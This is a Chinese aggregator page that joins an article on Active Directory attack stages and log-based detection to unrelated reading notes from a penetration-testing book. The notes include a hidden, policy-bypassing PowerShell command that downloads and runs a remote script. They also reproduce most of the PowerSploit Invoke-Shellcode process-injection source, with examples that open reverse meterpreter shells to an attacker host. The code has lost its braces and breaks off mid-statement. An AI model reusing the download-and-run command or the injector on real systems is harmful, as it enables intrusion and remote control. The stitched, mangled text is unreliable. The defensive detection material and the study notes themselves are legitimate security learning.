AD域安全攻防实践(附攻防矩阵图)

Posted Bypass--

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了AD域安全攻防实践(附攻防矩阵图)相关的知识,希望对你有一定的参考价值。

以域控为基础架构,通过域控实现对用户和计算机资源的统一管理,带来便利的同时也成为了最受攻击者重点攻击的集权系统。

01、攻击篇

针对域控的攻击技术,在Windows通用攻击技术的基础上自成一套技术体系,将AD域攻防分为信息收集、权限提升、凭证窃取、横向移动、权限维持等攻击阶段,把域环境下众多且繁杂的攻击行为映射到ATT&CK,梳理成一个AD域攻防矩阵图。

(1)域内信息收集

当攻击者获得内网某台域内服务器的权限,就会以此为起始攻击点,尽可能地去收集域的信息,例如:攻击者会先在进行本机信息收集,找到域控服务器地址,收集域内用户和管理员的信息列表,使用BloodHound、PVEFindADUser、PsLoggedOn等工具进一步定位域管理员,以找到域控的最佳攻击路径。

(2)域内权限提升

攻击者在内网横向过程中,可以通过入侵域管理员所登录的服务器,利用漏洞获取服务器system权限,找到域管理的账号、进程或是身份验证令牌,从而获取域管理员权限。

在域控服务器未及时更新补丁的情况下,攻击者可以通过域内权限提升漏洞直接攻击域控,将域内普通用户权限提升至域管权限。如MS14-068、NetLogon特权提升漏洞(CVE-2020-1472)、CVE-2021-42278 & CVE-2021-42287、CVE-2022-26963、CVE-2021-1675等,一旦被攻击者利用成功,可直接获得域管理员权限。

(3)域内凭证获取

攻击者在没有域用户凭据时,往往会使用暴力破解、密码喷洒等手段进行域用户凭证的获取。

攻击者在获得服务器权限后,可以通过LSASS窃取凭证、DCSync、ntds.dit文件提取等方式收集目标主机上的相关凭证,以便通过用户凭证进行横向移动。

(4)域内横向移动

攻击者通过收集域内用户的凭证信息在内网中横向移动,不断地扩大资产范围,并不断地重复信息收集的步骤,直至攻击者获得关键目标。

横向移动攻击手法包括:IPC连接、At/Schtasks计划任务、PsExec、WMI、WMIRM、哈希传递攻击(Pass the hash)、票据传递攻击(Pass the ticket)、密钥传递攻击(Pass the key)等。

(5)域内权限维持

当攻击者在获取域控权限后,会通过一定的持久化操作以维持域管权限,从而达到长期控制域控的目的。

域内权限维持的手法包括黄金票据、白银票据、Skeleton Key(万能密码)、DSRM域后门、注入SSP、SID History后门、AdminSDHolder、GPO组策略后门、DCShadow、约束委派、基于资源的约束委派 、基于ACL的后门等。

02、防护篇

针对AD域安全防护产品,商业的如Microsoft Defender for Identity、Tenable.ad、ITDR-AD,开源的WatchAD,都是可以选择的方向。面对众多的AD域攻击行为,我们也可以选择自建检测策略,通过分析AD域控的日志,对攻击行为进行实时检测。

将AD域日志引入日志分析平台,通过模拟域攻击行为产生攻击事件,以攻击日志提取关键特征,构建安全规则,形成检测策略。

自建检测策略很难全部覆盖,这很大程度上就取决于自身对AD域攻防的理解。为此我们需要把精力投入到那些攻击者最常用的域攻击技术上,比如BloodHound信息收集、域管账号创建、LSASS凭证窃取、哈希传递攻击、黄金票据攻击等。

(1)信息收集

攻击者在收集一定信息后,通过BloodHound定位域管理员以找到最佳攻击路径。通过监测5145事件,可识别到可疑的Sharphound域信息探测行为。

(2)权限提升

攻击者会通过各种方式来获取域控权限,最直接的方式就是添加一个域管理员账号。通过监测4728事件,关注敏感用户组特权账号添加情况。

(3)凭证获取

窃取凭证最常用的一种方式就是使用mimikatz获取LSASS内存中保存的用户凭证。通过监测4663事件,从而发现尝试LSASS进程窃取凭证的操作。

(4)横向移动

在内网横向过程中,哈希传递攻击是最常用的手法,但因为和正常的访问行为非常类似,检测是比较困难的。通过监测4624事件,设置白名单机制,从正常的访问行为中,找出异常登录行为。

(5)权限维持

攻击者常用黄金票据来做域控权限维持,利用krbtgt的hash来伪造TGT,就可以随意伪造域内管理员用户。通过监测4624事件,利用帐户与SID的对应关系,可以找到伪造的用户,从而识别可疑的黄金票据攻击。

(6)痕迹清除

为避免入侵行为被发现,攻击者总是会通过各种方式来清除痕迹,最简单粗暴的就是清除安全日志。通过监测1102事件,可以监控安全日志被清除的操作。

03、结束语

基于AD域控的日志分析,将AD域攻防矩阵图与安全检测策略进行对应,自建安全检测策略30+,覆盖常见的域攻击手法,并持续地扩展和优化检测策略,从而保障AD域的安全。

我想,这个探索的过程,最大的收获莫过于对安全日志的分析和攻击场景构建的深刻理解。

《内网安全攻防:渗透测试实战指南》读书笔记:内网渗透测试基础

目录

前言

上来一看已经5个月没上了,在忙活毕业论文的事儿
现在搞定毕业了!是时候开始一波学习
本篇开始阅读学习《内网安全攻防:渗透测试实战指南》,做个笔记

本篇是第一章内网渗透测试基础,基本都是些基础概念和环境搭建

一、内网基础知识

内网,也指局域网(Local Area Network,LAN),是指在某一区域内由多台计算机互联成的计算机组,内网是封闭的

本节是些基础定义和概念

1、工作组

工作组(Work Group)就像一个可以自由进入和退出的社团

  • 可以自由进入和退出,方便同组的计算机互相访问
  • 没有集中管理作用,所有计算机都是对等的

2、域

(Domain)是一个有安全边界的计算机集合

  • 安全边界:一个域的用户无法访问另一个域
  • 可以简单的把域理解成升级版的工作组,但有一个严格的集中管理控制机制
  • 用户访问域内的资源,需要合法身份,且身份决定权限

域控制器(Domain Controller,DC)是域中的管理服务器,相当于一个单位的门禁系统

  • DC中存在由这个域的账户、密码、属于这个域的计算机等信息构成的数据库
  • DC是整个域的通信枢纽

域环境

  • 单域:地理位置固定,一个域满足需求,一般至少有两台域服务器

  • 父域和子域:管理需求(如不同地理位置)和安全策略的考虑

  • 域树(tree):多个域通过建立信任关系(Trust Relation)组成的集合

  • 域森林(forest):多个域树通过建立信任关系组成的集合

  • 域名服务器(Domain Name Server, DNS):用于实现域名(Domam Name)和与之相对应的IP地址(IP Address)转换的服务器,具体可见一文搞明白DNS与域名解析

3、活动目录

活动目录(Active Directory,AD)是域环境中提供目录服务的组件

  • 存储有关网络对象(如用户、组、计算机、共享资源、打印机和联系人等)的信息
  • 帮助用户快速准确的从目录中查找到他所需要的信息的服务
  • 逻辑结构:不需要考虑被管理对象的地理位置,只需要按照一定方式将这些对象放置在不同的容器中
  • 活动目录数据库(AD库:将层次结构的目录及索引信息存储在数据库中
  • 管理层次分明:A集团(域森林) -> 子公司(域树) -> 部门(域) -> 员工

(1)活动目录的功能

AD相当于树干

  • 帐号集中管理:所有帐号均存储在服务器中,以便执行命令和重置密码等
  • 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件
  • 环境集中管理:利用AD可以统一客户端桌面,IE,TCP/IP等设置。
  • 增强安全性:统一部署杀毒软件和病毒扫描任务、集中化管理用户的计算机权限、统一制订用户密码策略等。可以监控网络,对资料进行统一管理
  • 更可靠,更少的宕机时间:例如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定。网络更可靠,岩机时间更少

(2)DC和AD区别

如果内网中的一台计算机上安装了AD,它就变成了DC(用于存储AD库的计算机)

  • DC的本质是一台计算机
  • AD的本质是提供目录服务的组件

4、安全域的划分

安全域划分的目的是将一组安全等级相同的计算机划入同一个网段内, 在网络边界上通过防火墙来实现对其他安全域的网络访问控制策略, 使得其风险最小化


一般安全域划分为:DMZ和内网,通过硬件防火墙的不同端口实现隔离,如上图所示

  • 内网:安全级别最高
  • DMZ(Demilitarized Zone 非军事化区):称为隔离区,为了解决安装防火墙后外部网络不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区
  • 外网:安全级别最低

(1)DMZ

DMZ通常需要定义如下访问控制策略,以实现其屏障功能:

  • 内网可以访问外网:防火墙需要执行NAT
  • 内网可以访问DMZ:内网用户可以使用或者管理DMZ中的服务器
  • 外网不能访问内网:如果要访问,得通过VPN的方式来进行
  • 外网可以访问DMZ:由防火墙来完成从对外地址到服务器实际地址的转换
  • DMZ不能访问内网
  • DMZ不能访问外网:例外情况如在DMZ中放置了邮件服务器

(2)内网

内网又可以划分为办公区和核心区

  • 办公区会安装防病毒软件、主机入侵检测产品(HIDS)等,运维使用堡垒机(跳板机)来统一管理用户的登陆行为
  • 核心区:存储企业最重要的数据、文档等信息资产,通过日志记录、安全审计等安全措施进行严密的保护,往往只有很少的主机能够访问

5、域中计算机的分类

域控制器

  • 存放活动目录数据库,是域中必须要有的
  • 管理所有的网络访问,包括登录服务器、访问共享目录和资源
  • 存储了域内所有的账户和策略信息,包括安全策略、用户身份验证信息和账户信息

成员服务器

  • 指安装了服务器操作系统并加人了域、但没有安装活动目录的计算机
  • 提供网络资源

客户机

  • 安装了其他操作系统的计算机
  • 用户利用这些计算机和域中的账户就可以登录域

独立服务器

  • 既不加入域,也不安装活动目录

6、域内权限

(1)组

(Group)是用户账号的集合,通过向一组用户分配权限,就可以不必向每个用户分别分配权限,分域本地组、全局组和通用组。域本地组来自全林,作用于本域;全局组来自本域,作用于全林;通用组来自全林,作用于全林

域本地组(Domain Local Group)

  • 多域用户访问单域资源,可以从任何域添加用户账号、通用组和全局组,但只能在其所在域内指派权限
  • 用于授予本域内资源的访问权限

全局组(Global Group)

  • 单域用户访问多域资源(必须是同一个域中的用户),只能在创建该全局组的域中添加用户和全局组
  • 全局组可以嵌套在其他组中
  • 举个例子:将用户张三(域帐号Z3)加入到域本地组administrators中,并不能使Z3对非DC的域成员计算机有任何特权;但若加入到全局组Domain Admins中,张三就是域管理员了,可以在全局使用,对域成员计算机是有特权的

通用组(Universal Group)

  • 成员来自域森林中任何域的用户账号、全局组和其他通用组,可以在该域森林的任何或中指派权限
  • 可以嵌套在其他组中,非常适合在域森林内的跨域访问中使用

(2)A-G-DL-P 策略

A-G-DL-P 策略:将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限

  • A表示用户账号(Account)
  • G表示全局组(Global Group)
  • U表示通用组(Universal Group)
  • DL表示域本地组(Domain Local Group)
  • P表示资源权限(Permssion)

在A-G-DL-P策略形成以后,当给一个用户某一个权限的时候,只要把这个用户加入到某一个域本地组就可以了。

举个例子

有两个域,A和B,A中的5个财务人员和B中的3个财务人员都需要访问B中的“FINA”文件夹。这时,可以在B中建一个DL(域本地组),因为DL的成员可以来自所有的域,然后把这8个人都加入这个DL,并把FINA的访问权赋给DL。
这样做的坏处是什么呢?因为DL是在B域中,所以管理权也在B域,如果A域中的5个人变成6个人,那只能A域管理员通知B域管理员,将DL的成员做一下修改,B域的管理员太累了。
这时候,我们改变一下,在A和B域中都各建立一个全局组(G),然后在B域中建立一个DL,把这两个G都加入B域中的DL中,然后把FINA的访问权赋给DL。哈哈,这下两个G组都有权访问FINA文件夹了。是吗?组嵌套造成权限继承嘛!这时候,两个G分布在A和B域中,也就是A和B的管理员都可以自己管理自己的G啦,只要把那5个人和3个人加入G中,就可以了!以后有任何修改,都可以自己做了,不用麻烦B域的管理员!这就是A-G-DL-P。

一些需要注意的组:

  • 常用DL: Administrators(管理员组),最重要的权限; Remote Desktop Users(远程登录组)。

  • 常用G: Domain Admins(域管理员组),最最重要的权限,一般来说域渗透是看重这个; Domain Users(域用户组)。

  • 常见U: Enterprise Admins(企业系统管理员组)、 Schema Admins(架构管理员组),也是最最重要的权限。

二、主机平台及常用工具

这节主要是介绍了些Kali和Win下的常用工具

在这里就记录下Windows Powershell的一些基础知识

1、Windows Powershell的概念

(1) .Ps1 文件

一个PowerShell脚本其实就是—个简单的文本文件,其扩展名为“ps1”

(2)执行策略

为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略,默认“不能运行”
可以使用下面的cmdlet命令查询当前的执行策略:

  • Get-ExecutionPolicy
  • Restricted:脚本不能运行(默认设置)
  • RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
  • A1lSigned:仅当脚本由受信任的发布者签名时才能运行
  • Unrestricted:允许所有脚本运行

命令如下:

Set-ExecutionPolicy <policy name>

(3)运行脚本

在当前目录时,可以使用.\\a.ps1,不然就要完整路径

如果是使用Import-Module加载脚本可以使用:

. .\\a.ps1

(4)管道

将一个命令的输出作为另—个命令的输人,两个命令之间用|连接

例子:执行如下命令,让所有正在运行的名字以字符“p”开头的程序停止运行

get-process p* | stop-process

2、Windows Powershell的特点

有以下这些特点:

  • 在Wmdow 7以上版本的操作系统中是默认安装的
  • 脚本可以在内存中运行,不需要写人磁盘
  • 几乎不会触发杀毒软件
  • 可以远程执行
  • 目前很多工具都是基于PowerShell开发的
  • 使Windows脚本的执行变得更容易
  • cmd的运行通常会被阻止,但是PowerShell的运行通常不会被阻止
  • 可用于管理活动目录

3、Windows Powershell的命令

(1)查看Powershell版本

Get-Host
$PSVersionTable.PSVERSION

(2)基本命令

新建目录:New-Item aaa -ItemType Directory(实际上在5.0版本可以直接通过md)
新建文件:New-Item aaa.txt
删除目录:Remove-Item aaa.txt 可以直接使用rm
显示文件内容:Get-Content 可以直接使用cat
设置文本内容:Set-Content aaa.txt -Value "aaa"
追加内容:Add-Content aaa.txt -Value "aaa"
清除内容:Clear-Content aaa.txt

(3)绕过本地权限并执行

绕过安全策略,在目标服务器本地执行脚本PowerUp.ps1

Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1

上传之后执行

powershell.exe -exec bypass -Command "& Import-module C:\\PowerUp.ps1;Invoke-AllChecks"

(4)从网站服务器中下载脚本,绕过本地权限并隐藏执行

命令如下(此处书中存在空格被吞的情况):

powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("http://www.baidu.com/xxx.ps1");

书中的PowerUp.ps1脚本如下:

function Invoke-Shellcode

<#
.SYNOPSIS

Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.

PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
 
.DESCRIPTION

Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre

PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):

msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\\\/,0/g' | tr -d '\\n' | cut -c2- 

Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
 
.PARAMETER ProcessID

Process ID of the process you want to inject shellcode into.

.PARAMETER Shellcode

Specifies an optional shellcode passed in as a byte array

.PARAMETER ListMetasploitPayloads

Lists all of the available Metasploit payloads that Invoke-Shellcode supports

.PARAMETER Lhost

Specifies the IP address of the attack machine waiting to receive the reverse shell

.PARAMETER Lport
 
Specifies the port of the attack machine waiting to receive the reverse shell

.PARAMETER Payload

Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.

.PARAMETER UserAgent

Optionally specifies the user agent to use when using meterpreter http or https payloads

.PARAMETER Proxy

Optionally specifies whether to utilize the proxy settings on the machine.

.PARAMETER Legacy

Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. 

.PARAMETER Force

Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.

.EXAMPLE

C:\\PS> Invoke-Shellcode -ProcessId 4274

Description
-----------
Inject shellcode into process ID 4274.

.EXAMPLE

C:\\PS> Invoke-Shellcode

Description
-----------
Inject shellcode into the running instance of PowerShell.

.EXAMPLE

C:\\PS> Start-Process C:\\Windows\\SysWOW64\\notepad.exe -WindowStyle Hidden
C:\\PS> $Proc = Get-Process notepad
C:\\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose

VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!

Description
-----------
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:

Payload options (windows/meterpreter/reverse_https):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
LHOST     192.168.30.129   yes       The local listener hostname
LPORT     443              yes       The local listener port

.EXAMPLE

C:\\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80

Description
-----------
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:

Payload options (windows/meterpreter/reverse_http):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
LHOST     192.168.30.129   yes       The local listener hostname
LPORT     80               yes       The local listener port

.EXAMPLE

C:\\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
    
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
    
.EXAMPLE

C:\\PS> Invoke-Shellcode -ListMetasploitPayloads
    
Payloads
--------
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https

.NOTES

Use the '-Verbose' option to print detailed information.

Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter

Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/

.LINK

http://www.exploit-monday.com
#>

[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
    [ValidateNotNullOrEmpty()]
    [UInt16]
    $ProcessID,
    
    [Parameter( ParameterSetName = 'RunLocal' )]
    [ValidateNotNullOrEmpty()]
    [Byte[]]
    $Shellcode,
    
    [Parameter( ParameterSetName = 'Metasploit' )]
    [ValidateSet( 'windows/meterpreter/reverse_http',
                  'windows/meterpreter/reverse_https',
                  IgnoreCase = $True )]
    [String]
    $Payload = 'windows/meterpreter/reverse_http',
    
    [Parameter( ParameterSetName = 'ListPayloads' )]
    [Switch]
    $ListMetasploitPayloads,
    
    [Parameter( Mandatory = $True,
                ParameterSetName = 'Metasploit' )]
    [ValidateNotNullOrEmpty()]
    [String]
    $Lhost = '127.0.0.1',
    
    [Parameter( Mandatory = $True,
                ParameterSetName = 'Metasploit' )]
    [ValidateRange( 1,65535 )]
    [Int]
    $Lport = 8443,
    
    [Parameter( ParameterSetName = 'Metasploit' )]
    [ValidateNotNull()]
    [String]
    $UserAgent = (Get-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings').'User Agent',

    [Parameter( ParameterSetName = 'Metasploit' )]
    [ValidateNotNull()]
    [Switch]
    $Legacy = $False,

    [Parameter( ParameterSetName = 'Metasploit' )]
    [ValidateNotNull()]
    [Switch]
    $Proxy = $False,
    
    [Switch]
    $Force = $False
)

    Set-StrictMode -Version 2.0
    
    # List all available Metasploit payloads and exit the function
    if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
    
        $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
            Where-Object $_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]
    
        foreach ($Payload in $AvailablePayloads.ValidValues)
        
            New-Object PSObject -Property @ Payloads = $Payload 
        
        
        Return
    

    if ( $PSBoundParameters['ProcessID'] )
    
        # Ensure a valid process ID was provided
        # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
        Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
    
    
    function Local:Get-DelegateType
    
        Param
        (
            [OutputType([Type])]
            
            [Parameter( Position = 0)]
            [Type[]]
            $Parameters = (New-Object Type[](0)),
            
            [Parameter( Position = 1 )]
            [Type]
            $ReturnType = [Void]
        )

        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
        
        Write-Output $TypeBuilder.CreateType()
    

    function Local:Get-ProcAddress
    
        Param
        (
            [OutputType([IntPtr])]
        
            [Parameter( Position = 0, Mandatory = $True )]
            [String]
            $Module,
            
            [Parameter( Position = 1, Mandatory = $True )]
            [String]
            $Procedure
        )

        # Get a reference to System.dll in the GAC
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
            Where-Object  $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll') 
        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
        # Get a reference to the GetModuleHandle and GetProcAddress methods
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
        # Get a handle to the module specified
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
        $tmpPtr = New-Object IntPtr
        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
        
        # Return the address of the function
        Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    

    # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
    function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
    
        $IntSizePtr = $Architecture / 8

        function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
        
            $LittleEndianByteArray = New-Object Byte[](0)
            $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]2)' | ForEach-Object  if ($_)  $LittleEndianByteArray += [Byte] ('0x0' -f $_)  
            [System.Array]::Reverse($LittleEndianByteArray)
            
            Write-Output $LittleEndianByteArray
        
        
        $CallStub = New-Object Byte[](0)
        
        if ($IntSizePtr -eq 8)
        
            [Byte[]] $CallStub = 0x48,0xB8                      # MOV   QWORD RAX, &shellcode
            $CallStub += ConvertTo-LittleEndian $BaseAddr       # &shellcode
            $CallStub += 0xFF,0xD0                              # CALL  RAX
            $CallStub += 0x6A,0x00                              # PUSH  BYTE 0
            $CallStub += 0x48,0xB8                              # MOV   QWORD RAX, &ExitThread
            $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
            $CallStub += 0xFF,0xD0                              # CALL  RAX
        
        else
        
            [Byte[]] $CallStub = 0xB8                           # MOV   DWORD EAX, &shellcode
            $CallStub += ConvertTo-LittleEndian $BaseAddr       # &shellcode
            $CallStub += 0xFF,0xD0                              # CALL  EAX
            $CallStub += 0x6A,0x00                              # PUSH  BYTE 0
            $CallStub += 0xB8                                   # MOV   DWORD EAX, &ExitThread
            $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
            $CallStub += 0xFF,0xD0                              # CALL  EAX
        
        
        Write-Output $CallStub
    

    function Local:Inject-RemoteShellcode ([Int] $ProcessID)
    
        # Open a handle to the process you want to inject into
        $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
        
        if (!$hProcess)
        
            Throw "Unable to open a process handle for PID: $ProcessID"
        

        $IsWow64 = $false

        if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
        
            # Determine is the process specified is 32 or 64 bit
            $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
            
            if ((!$IsWow64) -and $PowerShell32bit)
            
                Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
            
            elseif ($IsWow64) # 32-bit Wow64 process
            
                if ($Shellcode32.Length -eq 0)
                
                    Throw 'No shellcode was placed in the $Shellcode32 variable!'
                
                
                $Shellcode = $Shellcode32
                Write-Verbose 'Injecting into a Wow64 process.'
                Write-Verbose 'Using 32-bit shellcode.'
            
            else # 64-bit process
            
                if ($Shellcode64.Length -eq 0)
                
                    Throw 'No shellcode was placed in the $Shellcode64 variable!'
                
                
                $Shellcode = $Shellcode64
                Write-Verbose 'Using 64-bit shellcode.'
            
        
        else # 32-bit CPU
        
            if ($Shellcode32.Length -eq 0)
            
                Throw 'No shellcode was placed in the $Shellcode32 variable!'
            
            
            $Shellcode = $Shellcode32
            Write-Verbose 'Using 32-bit shellcode.'
        

        # Reserve and commit enough memory in remote process to hold the shellcode
        $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
        
        if (!$RemoteMemAddr)
        
            Throw "Unable to allocate shellcode memory in PID: $ProcessID"
        
        
        Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"

        # Copy shellcode into the previously allocated memory
        $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null

        # Get address of ExitThread function
        $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread

        if ($IsWow64)
        
            # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
            $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
            
            Write-Verbose 'Emitting 32-bit assembly call stub.'
        
        else
        
            # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
            $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
            
            Write-Verbose 'Emitting 64-bit assembly call stub.'
        

        # Allocate inline assembly stub
        $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
        
        if (!$RemoteStubAddr)
        
            Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
        
        
        Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"

        # Write 32-bit assembly stub to remote process memory space
        $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref]

以上是关于AD域安全攻防实践(附攻防矩阵图)的主要内容,如果未能解决你的问题,请参考以下文章

《内网安全攻防:渗透测试实战指南》读书笔记:域控制器安全

《内网安全攻防:渗透测试实战指南》读书笔记:域控制器安全

《内网安全攻防:渗透测试实战指南》读书笔记:域控制器安全

安全攻防实战系列MSF

《内网安全攻防:渗透测试实战指南》读书笔记:跨域攻击分析及防御

《内网安全攻防:渗透测试实战指南》读书笔记:跨域攻击分析及防御